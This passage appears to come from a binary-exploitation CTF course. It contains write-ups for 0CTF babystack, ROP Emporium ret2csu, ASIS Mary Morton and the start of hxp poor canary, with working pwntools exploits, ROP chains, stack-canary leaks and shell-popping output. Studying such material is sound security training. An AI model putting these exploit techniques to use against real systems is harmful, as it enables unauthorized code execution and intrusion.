        08048263 5f 5f 67       ds          "__gmon_start__"
                 6d 6f 6e
                 5f 73 74
        08048272 47 4c 49       ds          "GLIBC_2.0"
                 42 43 5f
                 32 2e 30 00
```

So we can see strings in there for `read` and `alarm`, so libc can link them. This essentially tells libc what to link. For this, we will just put the string `system`. The previous entry already took care of the index.

Also one last thing, since we need a pointer to `/bin/sh`, we will just store that at the end of the bss.

Time to ret 2 dl_resolve

So that will be the entries we store in the bss. We are ready to actually execute the `ret_2_dl_resolve`. Leaving off from the `read` call we made, we will end up back in the `scanInput` function which we will exploit the buffer overflow again to take control of `eip`. With that we will call the `0x80482f0` function (the one that is jumped to @ `plt+6`, and starts the linking process). We will pass it the `.rel.plt` index for our fake entry. Since our fake entry starts at the beginning of the `bss` (`0x804a020`), and this index is just the distance from the start of the `.rel.plt` section (`0x80482b0`) to the entry, this index will just be `0x804a020 - 0x80482b0 = 0x1d70`. After that we will pass our arguments to the function, which in this case will just be the address of `/bin/sh` which we stored in the `bss`.

Exploit

Bringing it all together, we have the following exploit:

```
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups
/tree/master/0CTFQuals/2018/babystack

from pwn import *

target = process('./babystack')
#gdb.attach(target)

elf = ELF('babystack')

# Establish starts of various sections
bss = 0x804a020

dynstr = 0x804822c

dynsym = 0x80481cc

relplt = 0x80482b0

# Establish two functions

scanInput = p32(0x804843b)
resolve = p32(0x80482f0)

# Establish size of second payload

payload1_size = 43

# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug

payload0 = ""

payload0 += "0"*44                        # Filler from start of input to return
address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan
input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in


target.send(payload0)

# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack

# Calculate the r_info value
# It will provide an index to our dynsym entry
```

```
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7

# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr

paylaod1 = ""

# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)

# Empty
paylaod1 += p32(0x0)

# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3

# Our dynstr entry
paylaod1 += "system\x00"

# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"

target.send(paylaod1)

# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions
for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system

# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35

# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt


paylaod2 = ""

paylaod2 += "0"*44
paylaod2 += resolve                 # 0x80482f0
paylaod2 += p32(ret_plt_offset)       # .rel.plt offset
paylaod2 += p32(0xdeadbeef)           # The next return address after
0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address)    # Our argument, address of "/bin/sh"

target.send(paylaod2)

# Enjoy the shell!
target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './babystack': pid 10847
[*] '/Hackery/pod/modules/ret2_csu_dl/0ctf18_babystack/babystack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
$ w
 23:51:29 up  6:59,  1 user,  load average: 0.18, 0.12, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               16:58   ?xdm?   8:04   0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin
/gnome-session --session=ubuntu
$ ls
babystack  exploit.py  readme.md
```

Just like that, we popped a shell!

ROPEmporium ret2csu

This writeup is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

Let's take a look at the binary:

```
$    file ret2csu
ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=a799b370a24ba0109f1175f31b3058094b5feab5, not stripped
$    pwn checksec ret2csu
[*] '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./ret2csu
ret2csu by ROP Emporium

Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef

> 15935728
```

So we can see that we are dealing with a `64` bit binary with an NX stack. When we run it, we see that it prompts us for input.

Reversing

When we take a look at the main function, we see this:

```
undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  puts("ret2csu by ROP Emporium\n");
  pwnme();
  return 0;
}
```

We can see that this function essentially prints out some text, and calls `pwnme` :

```
void pwnme(void)

{
  char input [32];

  memset(input,0,0x20);
  puts("Call ret2win()");
  puts("The third argument (rdx) must be 0xdeadcafebabebeef");
  puts("");
  printf("> ");
  PTR_puts_00601018 = (undefined *)0x0;
  PTR_printf_00601028 = (undefined *)0x0;
  PTR_memset_00601030 = (undefined *)0x0;
  fgets(input,0xb0,stdin);
  PTR_fgets_00601038 = (undefined *)0x0;
  return;
}
```

So we can see that it allows us to scan in `0xb0` (`176`) bytes worth of data into a `32` byte space. So we have a buffer overflow bug here. Also another thing to note here, it zeroes out the got addresses for `puts` , `printf` , and `memset` . We can see that it asks us to call the `ret2win` function with the third argument (since it is `x64` on linux, it is stored in the `rdx` register) being equal to `0xdeadcafebabebeef` . When we take a look at the `ret2win` function, we see that it calls `system` :

```
/* WARNING: Restarted to delay deadcode elimination for space: stack */

void ret2win(void)

{
  undefined8 uVar1;
  undefined2 uVar2;
  undefined8 uVar3;
  undefined2 uVar4;
  undefined8 local_28;
  undefined local_20;
  undefined7 uStack31;
  undefined local_18;
  undefined uStack23;
  undefined7 *local_10;

  local_28 = 0xaacca9d1d4d7dcc0;
  local_10 = &uStack31;
  uVar3 = 0xd5bed0dddfd28920;
  local_20 = (undefined)uVar1;
  uStack31 = (undefined7)((ulong)uVar1 >> 8);
  uVar4 = 0xaa;
  local_18 = (undefined)uVar2;
  uStack23 = (undefined)((ushort)uVar2 >> 8);
  system((char *)&local_28);
  uVar2 = uVar4;
  uVar1 = uVar3;
  return;
}
```

Looking at the assembly code for the function, we see that it manipulates the argument stored in `rdx` and uses it as an argument for `system`. So the statement it said about `The third argument (rdx) must be 0xdeadcafebabebeef` is probably true.

Exploitation

So we will have to call `ret2win` with `rdx` being equal to `0xdeadcafebabebeef`. However when we look at the rop gadgets we have to change the value of the `rdx` register, we come up a little short:

```
$    python ROPgadget.py --binary ret2csu | grep rdx
0x0000000000400567 : lea ecx, [rdx] ; and byte ptr [rax], al ; test rax, rax ;
je 0x40057b ; call rax
0x000000000040056d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
```

Since the code base for this challenge is pretty small (like most ctf challenges), and that it is dynamically compiled means we don't have a lot of ROP gadgets to use. So we will be using the `ret_2_csu` (`ret_2_libc_csu_init`) technique.

Ret_2_csu

This is pretty simple when we get down to it. The `__libc_csu_init` function is responsible for initializing the libc file. Essentially we will be pulling ROP gadgets from this function.

```
****************************************************************
                              *                           FUNCTION
*

****************************************************************
                              undefined __libc_csu_init()
             undefined          AL:1           <RETURN>
                              __libc_csu_init
XREF[5]:     Entry Point(*),

_start:00400606(*),

_start:00400606(*), 00400978,

00400a70(*)
        00400840 41 57           PUSH       R15
        00400842 41 56           PUSH       R14
        00400844 49 89 d7        MOV        R15,RDX
        00400847 41 55           PUSH       R13
        00400849 41 54           PUSH       R12
        0040084b 4c 8d 25        LEA        R12,[__frame_dummy_init_array_entry]
= 4006D0h
                 be 05 20 00
        00400852 55              PUSH       RBP
        00400853 48 8d 2d        LEA
RBP,[__do_global_dtors_aux_fini_array_entry]     = 4006A0h
                 be 05 20 00
        0040085a 53              PUSH       RBX
        0040085b 41 89 fd        MOV        R13D,EDI
        0040085e 49 89 f6        MOV        R14,RSI
        00400861 4c 29 e5        SUB        RBP,R12
        00400864 48 83 ec 08     SUB        RSP,0x8
        00400868 48 c1 fd 03     SAR        RBP,0x3
        0040086c e8 ef fc        CALL       _init
int _init(EVP_PKEY_CTX * ctx)
                 ff ff
        00400871 48 85 ed        TEST       RBP,RBP
        00400874 74 20           JZ         LAB_00400896
        00400876 31 db           XOR        EBX,EBX
        00400878 0f 1f 84        NOP        dword ptr [RAX + RAX*0x1]
                 00 00 00
                 00 00
                              LAB_00400880
XREF[1]:     00400894(j)
        00400880 4c 89 fa        MOV        RDX,R15
        00400883 4c 89 f6        MOV        RSI,R14
        00400886 44 89 ef        MOV        EDI,R13D
        00400889 41 ff 14 dc     CALL       qword ptr [R12 +
RBX*0x8]=>->frame_dummy         undefined frame_dummy()

= 4006D0h
```

```
 = 4006A0h

undefined __do_global_dtors_aux()
        0040088d 48 83 c3 01     ADD        RBX,0x1
        00400891 48 39 dd        CMP        RBP,RBX
        00400894 75 ea           JNZ        LAB_00400880
                             LAB_00400896
XREF[1]:     00400874(j)
        00400896 48 83 c4 08     ADD        RSP,0x8
        0040089a 5b              POP        RBX
        0040089b 5d              POP        RBP
        0040089c 41 5c           POP        R12
        0040089e 41 5d           POP        R13
        004008a0 41 5e           POP        R14
        004008a2 41 5f           POP        R15
        004008a4 c3              RET
```

From this function, there are two rop gadgets that we will be pulling from.

This one will allow us to control various registers:

```
        0040089a 5b              POP        RBX
        0040089b 5d              POP        RBP
        0040089c 41 5c           POP        R12
        0040089e 41 5d           POP        R13
        004008a0 41 5e           POP        R14
        004008a2 41 5f           POP        R15
        004008a4 c3              RET
```

This one will allow us to control the `RDX`, `RSI`, and `EDI` registers:

```
        00400880 4c 89 fa        MOV        RDX,R15
        00400883 4c 89 f6        MOV        RSI,R14
        00400886 44 89 ef        MOV        EDI,R13D
        00400889 41 ff 14 dc     CALL       qword ptr [R12 +
RBX*0x8]=>->frame_dummy         undefined frame_dummy()

 = 4006D0h

 = 4006A0h

undefined __do_global_dtors_aux()
        0040088d 48 83 c3 01     ADD        RBX,0x1
        00400891 48 39 dd        CMP        RBP,RBX
        00400894 75 ea           JNZ        LAB_00400880
```

However the thing is with this gadget, it doesn't end in a ret (at least not immediately after the `MOV` instructions we need) so we will have to trace through and make sure the rest of the code until it hits a `RET`, and make sure there isn't anything that causes an issue. With the first gadget, we can assign a value to `R15`, which with the second gadget we will copy it's value to the `RDX` register. Looking at the full code path for the second gadget, we see this:

```
                             LAB_00400880
XREF[1]:     00400894(j)
        00400880 4c 89 fa        MOV        RDX,R15
        00400883 4c 89 f6        MOV        RSI,R14
        00400886 44 89 ef        MOV        EDI,R13D
        00400889 41 ff 14 dc     CALL       qword ptr [R12 +
RBX*0x8]=>->frame_dummy         undefined frame_dummy()

= 4006D0h

= 4006A0h

undefined __do_global_dtors_aux()
        0040088d 48 83 c3 01     ADD        RBX,0x1
        00400891 48 39 dd        CMP        RBP,RBX
        00400894 75 ea           JNZ        LAB_00400880
                             LAB_00400896
XREF[1]:     00400874(j)
        00400896 48 83 c4 08     ADD        RSP,0x8
        0040089a 5b              POP        RBX
        0040089b 5d              POP        RBP
        0040089c 41 5c           POP        R12
        0040089e 41 5d           POP        R13
        004008a0 41 5e           POP        R14
        004008a2 41 5f           POP        R15
        004008a4 c3              RET
```

So a few conditions we will need to meet. The first we have to ensure that `[R12 + RBX*0x8]` resolves to a pointer to a valid instruction pointer. After that, we need to ensure that `RBP` and `RBX` are equal to each other (after `RBX` is incremented by one) otherwise it will jump to `LAB_00400880` and rerun our gadget. After that the first gadget runs which ends in a `RET` instruction, however we need to ensure that there are values on the stack for the `POP` instructions.

For the function we are calling we will call `_init`. The reason why I call this function instead of other function, is this one doesn't crash when I call it in this context. Let's find a pointer to it's address.

When we check the address of `_init` in ghidra, we see that it is `0x400560`:

```
                              //
                              // .init
                              // SHT_PROGBITS  [0x400560 - 0x400576]
                              // ram: 00400560-00400576
                              //

*************************************************************
                              *                          FUNCTION
*

*************************************************************
                              int __stdcall _init(EVP_PKEY_CTX * ctx)
             int                EAX:4          <RETURN>
             EVP_PKEY_CTX *     RDI:8          ctx
                              __DT_INIT
XREF[4]:     Entry Point(*),
                              _init
__libc_csu_init:0040086c(c),

00600e38(*),

_elfSectionHeaders::000002d0(*)
        00400560 48 83 ec 08     SUB        RSP,0x8
```

We can find a pointer to it using gdb:

```
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu
/ret2csu'(0x400000-0x401000), permission=r-x
  0x400e38 - 0x400e44  →  "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu
/ret2csu'(0x600000-0x601000), permission=r--
  0x600e38 - 0x600e44  →  "\x60\x05\x40[...]"
```

Or we can find it using the `DYAMIC` variable:

```
gef➤  x/4g &_DYNAMIC
0x600e20:    0x0000000000000001    0x0000000000000001
0x600e30:    0x000000000000000c    0x0000000000400560
```

So the value we will set `R12` will be `0x600e38`, which will end up calling `_init`. We will set `RBX` to zero, that way it doesn't interfere with the call. For the compare it will be incremented to `1`, so we will need to set `RBP` to `1` to pass it. After that we will just need filler values for the rest of the `POPS`. After that we can just call `ret2win`, and do to our previous work we will have `RBX` set to `0xdeadcafebabebeef`.

Exploit

Putting it all together, we have the following exploit:

```
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './ret2csu': pid 17309
[*] Switching to interactive mode
ret2csu by ROP Emporium

Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef

> ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
[*] Process './ret2csu' stopped with exit code -11 (SIGSEGV) (pid 17309)
[*] Got EOF while sending in interactive
```

Just like that, we got the flag!

ret2system

Mary Morton

So after we download and extract the file, we have a binary. Let's take a look at the binary (also one thing, I slightly modified this binary, but we'll cover that in more detail later):

```
$    file mary_morton
mary_morton: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=b7971b84c2309bdb896e6e39073303fc13668a38, stripped
$    pwn checksec mary_morton
[*] '/Hackery/asis/mary/mary_morton'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

So we see that it is a 64 bit Elf, with a stack canary and non executable stack. Let's see what happens when we run the binary:

```
$    ./mary_morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
%x.%x.%x.%x.%x
c743ca40.7f.14b4a890.0.0
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
Alarm clock
```

So we see we are given a prompt for a Buffer Overflow, format string, or just to exit the battle. We confirmed that the format string bug indeed works with the `%x` flags. We can also that there is an alarm feature which will kill the program after a set amount of time. We can run it in gdb, that way when the Alarm Clock triggers it won't kill the program.

```
gef➤  r
Starting program: /Hackery/pod/modules/ret_2_system/asis17_marymorton
/mary_morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
1
000000000000000000000000000000000000000000000000000000000000000000000000000000000
->
000000000000000000000000000000000000000000000000000000000000000000000000000000000
�;U���7P
@
*** stack smashing detected ***: <unknown> terminated
```

So we also verified that the buffer overflow bug is legit. Let's take a look at the binary in Ghidra.

Reversing

Looking through the list of functions in Ghidra, we find this one at `0x400826` :

```
void menu(void)

{
  int choice;

  FUN_004009ff();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  puts("Select your weapon ");
  while( true ) {
    while( true ) {
      printMenu();
      __isoc99_scanf(&DAT_00400b1c,&choice);
      if (choice != 2) break;
      fmtBug();
    }
    if (choice == 3) break;
    if (choice == 1) {
      overflowBug();
    }
    else {
      puts("Wrong!");
    }
  }
  puts("Bye ");
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

So we can see here the function prints out the starting prompt, then enters into a loop where it will print out the menu options, then scan in input. Based upon the input, it will either trigger the `fmtBug` function, `overflowBug` function, or just exit the program. Let's take a look at the `fmtBug` function.

```
void fmtBug(void)

{
  long i;
  undefined8 *inputCpy;
  long in_FS_OFFSET;
  undefined8 input [17];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  i = 0x10;
  inputCpy = input;
  while (i != 0) {
    i = i + -1;
    *inputCpy = 0;
    inputCpy = inputCpy + 1;
  }
  read(0,input,0x7f);
  printf((char *)input);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

So we can see here, it pretty much does what we expected. It first clears out a space of memory, then scans in input to that space (`0x7f` bytes). Proceeding that it prints it unformatted using `printf` to have a format string vulnerability. Let's take a look at the `overflowBug`:

```
void overflowBug(void)

{
  long i;
  undefined8 *inputCpy;
  long in_FS_OFFSET;
  undefined8 input [17];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  i = 0x10;
  inputCpy = input;
  while (i != 0) {
    i = i + -1;
    *inputCpy = 0;
    inputCpy = inputCpy + 1;
  }
  read(0,input,0x100);
  printf("-> %s\n",input);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

Looking at this, we can see that it reads in `0x100` (`256`) bytes of data into the buffer that Ghidra says only has `17` bytes. Thing is, when we look at the stack layout we see that the buffer is bigger than that:

```
                          ***********************************************************
                          *                          FUNCTION
*
                          ***********************************************************
                          undefined overflowBug()
             undefined         AL:1           <RETURN>
             long              RCX:8          i
XREF[1]:     00400986(W)
             undefined8 *      RDI:8          inputCpy
XREF[1]:     0040098e(W)
             long              Stack[-0x10]:8 canary
XREF[2]:     00400974(W),

004009c4(R)
             undefined8[17]    Stack[-0x98]   input
XREF[3]:     0040097a(*),

00400991(*),

004009aa(*)
                          overflowBug
XREF[3]:     menu:004008a7(c), 00400bc0,

00400cc0(*)
        00400960 55              PUSH       RBP
```

So we can see that `input` is at offset `-0x98`, and that `canary` is at offset `-0x10`. That gives us `0x98 - 0x10 = 0x88` byte offset. Since we can scan in `0x100` bytes this is is a buffer overflow bug. Also after it scans in the input, it prints the data you scanned in. So we should be able to use the buffer overflow vulnerability to pop a shell. However our first hurdle will be to defeat the stack canary.

Exploitation

In order to reach the return address to gain code flow execution, we will have to write over the stack canary. Before we do that, we will need to leak the stack canary, so we can write over the stack canary with itself. That way when the stack canary is checked, everything will check out. We should be able to accomplish this using the format string exploit to leak an address. Also as a sidenote we could probably use the buffer overflow function to leak the stack canary, by overflowing up right up to the stack canary. Then when it prints out the input it leaks the stack canary. However the issue with that is that we would need to overwrite the null byte of the stack canary, and it would check the canary before we had a chance to correct it. So I went for using the format string bug to leak the canary. We can find the offset for the format string to the stack canary using gdb.

First set a breakpoint for the stack canary check in the `format_string_vuln` function, then run that function, then leak a bunch of 8 byte hex strings:

```
gef➤  b *0x40094a
Breakpoint 1 at 0x40094a
gef➤  r
Starting program: /Hackery/pod/modules/ret_2_system/asis17_marymorton
/mary_morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%
7fffffffdda0.7f.7ffff7af4081.0.0.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c
Legend: Modified register | Code | Heap | Stack | String ]
```

So a stack canary for 64 bit systems is an 8 byte hex string that ends in a null byte. Looking through the output, we can see such a hex string at offset 23 with `217c6cddb9f90f00`. We can confirm that this is the stack canary once we reach the breakpoint by examining the value of `rbp-0x8`, since from the source code we can see that is where the canary is:

```
Breakpoint 1, 0x000000000040094a in ?? ()
gef➤
lx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%ll
Undefined command: "lx".  Try "help".
gef➤  x/4g $rbp-0x8
0x7fffffffde28: 0x217c6cddb9f90f00  0x7fffffffde70
0x7fffffffde38: 0x4008b8  0x7ffff7de59a0
gef➤  i f
Stack level 0, frame at 0x7fffffffde40:
 rip = 0x40094a; saved rip = 0x4008b8
 called by frame at 0x7fffffffde80
 Arglist at 0x7fffffffdd98, args:
 Locals at 0x7fffffffdd98, Previous frame's sp is 0x7fffffffde40
 Saved registers:
  rbp at 0x7fffffffde30, rip at 0x7fffffffde38
```

So we can see that it is indeed the stack canary, which is at offset 23. We can also see that the offset between the stack canary and the rip register is `16`, so after the canary we will need to have an 8 byte offset before we hit the return address.

The next thing we will need to deal with is the Non-Executable stack. Since it is Non-Executable, we can't simply push shellcode onto the stack and execute it, so we will need to use ROP in order to execute code. Looking at the imports in Ghidra (`Imports>EXTERNAL`), we can see that system is in there. So we should be able to call system using it's `plt` address. First we need to find it, which can be accomplished by using objdump:

```
objdump -D mary_morton | grep system
00000000004006a0 <system@plt>:
  4008e3:    e8 b8 fd ff ff          callq  4006a0 <system@plt>
```

So the address of system is `0x4006a0` . The next thing that we will need is a ROP gadget which will pop an argument into a register for system, then return to call it. We can accomplish this by using ROPgadget:

```
$    ROPgadget --binary mary_morton | less
```

Looking through the list of ROPgadgets, we can see one that will accomplish the job:

```
0x0000000000400ab3 : pop rdi ; ret
```

So we have a ROPgadget, and the address of system which we can call. The only thing left to get is the argument for the `system` function. Originally when I was trying to solve it, I tried to get a pointer to `"/bin/sh"` and use that as an argument, until I found a much easier way specific to this challenge using gdb:

First set a breakpoint for anywhere in the program, then hit it

```
gef➤  b *0x400826
Breakpoint 1 at 0x400826
gef➤  r
Starting program: /Hackery/pod/modules/ret_2_system/asis17_marymorton
/mary_morton
```

then once you reach the breakpoint:

```
Breakpoint 1, 0x0000000000400826 in ?? ()
gef➤  find /bin/sh
Invalid size granularity.
gef➤  search-pattern /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/Hackery/pod/modules/ret_2_system/asis17_marymorton
/mary_morton'(0x400000-0x401000), permission=r-x
  0x400b2b - 0x400b32  →   "/bin/sh"
[+] In '/Hackery/pod/modules/ret_2_system/asis17_marymorton
/mary_morton'(0x600000-0x601000), permission=r--
  0x600b2b - 0x600b32  →   "/bin/sh"
[+] In '/lib/x86_64-linux-gnu/libc-2.27.so'(0x7ffff79e4000-0x7ffff7bcb000),
permission=r-x
  0x7ffff7b97e9a - 0x7ffff7b97ea1  →   "/bin/sh"
=
```

We can see here that the binary has the string `"/bin/sh"` is hardcoded at `0x400b2b`. This is the part of the binary that I modified. Originally it held the string `"/bin/cat ./flag"` which would print out the contents of the flag, so we would solve the challenge. However I decided to chaneg the string to give us a shell instead of just simply printing the flag. We should be able to use that as the argument for system.

Exploit

With all of those things, we can write the python exploit:

```
#First import pwntools
from pwn import *

#Establish the target process
target = process('./mary_morton_patched')
gdb.attach(target, gdbscript='b *0x4009a5')

raw_input()

#Establish the address for the ROP chain
gadget0 = 0x400ab3
cat_adr = 0x400b2b
sys_adr = 0x4006a0

#Recieve and print out the opening text
print target.recvuntil("Exit the battle")

#Execute the format string exploit to leak the stack canary
target.sendline("2")
target.sendline("%23$llx")
target.recvline()
canary = target.recvline()
canary = int(canary, 16)
print "canary: " + hex(canary)
print target.recvuntil("Exit the battle")

#Put the Rop chain together, and send it to the server to exploit it
target.sendline("1")
payload = "0"*136 + p64(canary) + "1"*8 + p64(gadget0) + p64(cat_adr) +
p64(sys_adr)
target.send(payload)

#Drop to an interactive shell
target.interactive()
```

When we run the exploit:

```
[+] Starting local process './mary_morton_patched': pid 1719
[*] running in new terminal: /usr/bin/gdb -q  "./mary_morton_patched" 1719 -x
"/tmp/pwnhoGB4g.gdb"
[+] Waiting for debugger: Done

Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
canary: 0x3d2b93f37b9ad900
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
[*] Switching to interactive mode

->
0000000000000000000000000000000000000000000000000000000000000000000000000000000
$ w
 18:29:13 up  2:48,  1 user,  load average: 0.10, 0.06, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
vagrant  pts/0    10.0.2.2         18:25    0.00s  0.29s  0.00s tmux
[*]
```

Just like that, we popped a shell!

Hxp 2018 poor canary

Let's take a look at the binary:

```
$    file canary
canary: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically
linked, for GNU/Linux 3.2.0,
BuildID[sha1]=3599326b9bf146191588a1e13fb3db905951de07, not stripped
$    pwn checksec canary
[*] '/Hackery/pod/modules/ret_2_system/hxp18_poorCanary/canary'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
```

So we can see that we are dealing with a `32` bit arm binary, that has a Stack Canary and NX stack. Arm is a different architecture from what we have been working with mostly, so things will be a bit different. Since we are dealing with arm binary, we will need qemu to run it (or some other emulator). In addition to that, if we want to use gdb we will need to install multi-architecture support for gdb. Lastly we will also need to install a utility for parsing through it's assembly code (we will use it later):

To emulate the binary:

```
$    sudo apt-get install qemu-user
```

For gdb support:

```
$    sudo apt-get install gdb-multiarch
```

For assembly code viewing:

```
$    sudo apt-get install binutils-arm-none-eabi
```

Now let's take a look at the binary:

```
$    qemu-arm canary
Welcome to hxp's Echo Service!
> 15935728
15935728
> 77777777777777777777777777777777777777777777777777777
77777777777777777777777777777777777777777777777777777
```

So we can see that it scan in data, and prints it back. Let's figure out exactly what it is doing.

Reversing

When we take a look at the main function in Ghidra, we see this:

```
undefined4 main(void)

{
  ssize_t bytesRead;
  char input [41];
  int stackCanary;
  int canary;

  canary = __stack_chk_guard;
  setbuf((FILE *)stdout,(char *)0x0);
  setbuf((FILE *)stdin,(char *)0x0);
  puts("Welcome to hxp\'s Echo Service!");
  while( true ) {
    printf("> ");
    bytesRead = read(0,input + 1,0x60);
    if ((bytesRead < 1) || ((input[bytesRead] == '\n' && (input[bytesRead] =
'\0', bytesRead == 1)))
       ) break;
    puts(input + 1);
  }
  if (canary == __stack_chk_guard) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

So we can see here that it starts off by printing the string `"Welcome to hxp\'s Echo Service!"`. Proceeding that it enters into a `while (true)` loop. Each iteration of the loop scans in `0x60` bytes worth of data into `input + 1`, which can only hold `40` bytes. So we have a buffer overflow. In addition to that it will print our input using `puts(input + 1)`.

Exploitation

So to pop a shell, we will use the buffer overflow to overwrite the return address. However before we do that, we will need to deal with the stack canary.

Canary

We will leak the stack canary using the `puts(input + 1)` call. This is how it will work. The function `puts` will print data from a pointer that it is passed until it reaches a null byte. We will write just enough data to overwrite the least significant byte of the stack canary. This is because the least significant byte of the stack canary will be a null byte. Then when it prints our input, it will also print the rest of the stack canary (which will just be `3` bytes since we are dealing with a `32` bit binary) since there will be no null bytes in between the start of our input and the rest of the stack canary. Then we can just take those three bytes and add a null byte as the least significant byte, and we will have the stack canary.

Ret2System

So with that we will be able to overwrite the return address and get code execution. The only question is what will we execute with it. We can see that system is imported into the binary at `0x16d90`, so that is a good candidate:

```
**************************************************************
                             *                           FUNCTION
*

**************************************************************
                             int __stdcall system(char * __command)
             int               r0:4           <RETURN>
             char *            r0:4           __command
                             __libc_system
XREF[1]:     Entry Point(*)
                             system
        00016d90 00 00 50 e3     cmp        __command,#0x0
```

We can also see it using objdump:

```
$    arm-none-eabi-objdump -D canary | grep libc_system
00016d90 <__libc_system>:
   16d94:    0a000000     beq    16d9c <__libc_system+0xc>
```

Next we just need to prep the argument for the `system` function. In Ghidra we can see that the string `/bin/sh` is at `0x71eb0`:

```
                             s_/bin/sh_00071eb0
XREF[1]:     do_system:00016d58(*)
        00071eb0 2f 62 69        ds         "/bin/sh"
                 6e 2f 73
                 68 00
```

The next thing that we will need is a ROP gadget that will pop values into the `r0` and `pc` registers. The code will expect it's argument in `r0`, and it will expect `pc` to hold the address to be executed:
